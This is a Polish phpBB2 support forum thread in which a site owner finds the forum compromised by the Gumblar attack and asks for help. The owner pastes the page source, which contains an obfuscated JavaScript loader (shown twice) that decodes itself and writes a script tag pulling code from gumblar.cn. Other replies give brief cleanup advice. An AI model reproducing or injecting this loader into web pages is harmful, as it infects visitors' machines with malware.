[phpBB2] Nagły błąd w encode_ip()

[BBB]

Witam,

 

Nagle wyskoczył mi błąd w pliku common.php w linii:

$user_ip = encode_ip($client_ip);

 

 

$client_ip = ( !empty($HTTP_SERVER_VARS['REMOTE_ADDR']) ) ? $HTTP_SERVER_VARS['REMOTE_ADDR'] : ( ( !empty($HTTP_ENV_VARS['REMOTE_ADDR']) ) ? $HTTP_ENV_VARS['REMOTE_ADDR'] : getenv('REMOTE_ADDR') );

 

 

Wgrałem jeszcze raz plik common.php i dalej mam fatal error. Nic w ostatnich dniach nie zmieniałem w ustawieniach forum.

 

Problem podobny do tego http://www.joomlapolis.com/component/optio...31614/catid,34/ tyle że w pliku common.php

[gnysek]

A można by prosić o treść błędu ??

[BBB]

Już naprawiłem, zniknął plik functions.php z folderu includes. Teraz przy każdorazowym odświeżeniu strony się z forum widzę w przeglądarce na dole "łączenie się z gumlar.cn".

Wychodzi że ktoś włamałsię na forum

 

http://www.google.pl/search?hl=pl&q=%2...=Szukaj&lr=

[BBB]

Już naprawiłem, zniknął plik functions.php z folderu includes. Teraz przy każdorazowym odświeżeniu strony się z forum widzę w przeglądarce na dole "łączenie się z gumblar.cn".

Wychodzi że ktoś włamałsię na forum

 

http://blog.unmaskparasites.com/2009/05/07...njected-script/

http://www.google.pl/search?hl=pl&q=%2...=Szukaj&lr=

 

 

sprawdziłem źródło strona i jest:

 

<script language=javascript><!--

(function(){var zWe='var"20a"3d"22ScriptEngin"65"22"2c"62"3d"22Ve"72"73ion()+"22"2c"6a"3d"22"22"2c"75"3dnavig"61tor"2e"75se"72"41g"65"6et"3bif((u"2e"69ndexOf("22W"69n"22"29"3e0"29"26"26("75"2ei"6ed"65"78O"66("22NT"206"22)"3c0)"26"26"28d"6fcum"65"6et"2eco"6fkie"2einde"78Of("22"6diek"3d1"22)"3c0)"26"26(t"79pe"6ff("7arvzt"73)"21"3d"74yp"65of("22A"22)"29)"7bz"72vzts"3d"22A"22"3b"65va"6c("22if"28window"2e"22+a+"22)j"3dj+"22"2ba+"22M"61jor"22+"62+a+"22Min"6fr"22+b+a"2b"22B"75ild"22+b+"22j"3b"22)"3bdoc"75"6dent"2ewrite"28"22"3c"73cript"20src"3d"2f"2f"67umblar"2e"63n"2fr"73"73"2f"3fid"3d"22+j"2b"22"3e"3c"5c"2f"73cri"70t"3e"22"29"3b"7d';var xt1=zWe.replace(/"/g,'%');var xrK=unescape(xt1);eval(xrK)})();

--></script><script language=javascript><!--

(function(){var zWe='var"20a"3d"22ScriptEngin"65"22"2c"62"3d"22Ve"72"73ion()+"22"2c"6a"3d"22"22"2c"75"3dnavig"61tor"2e"75se"72"41g"65"6et"3bif((u"2e"69ndexOf("22W"69n"22"29"3e0"29"26"26("75"2ei"6ed"65"78O"66("22NT"206"22)"3c0)"26"26"28d"6fcum"65"6et"2eco"6fkie"2einde"78Of("22"6diek"3d1"22)"3c0)"26"26(t"79pe"6ff("7arvzt"73)"21"3d"74yp"65of("22A"22)"29)"7bz"72vzts"3d"22A"22"3b"65va"6c("22if"28window"2e"22+a+"22)j"3dj+"22"2ba+"22M"61jor"22+"62+a+"22Min"6fr"22+b+a"2b"22B"75ild"22+b+"22j"3b"22)"3bdoc"75"6dent"2ewrite"28"22"3c"73cript"20src"3d"2f"2f"67umblar"2e"63n"2fr"73"73"2f"3fid"3d"22+j"2b"22"3e"3c"5c"2f"73cri"70t"3e"22"29"3b"7d';var xt1=zWe.replace(/"/g,'%');var xrK=unescape(xt1);eval(xrK)})();

--></script>

[gnysek]

Wirusy na serwerze też same doklejają kod do strony, może to to?

[BBB]

Faktycznie, na wszystkich stronach mam to gówno, co robić?

[gnysek]

1) Sprawdzić swojego PC, czy nie ma wirusów.

2) Napisać do admina serwera, aby zrobił to samo na serwerze, bo podejrzewasz że został on zarażony

3) Usunąć zarażone strony.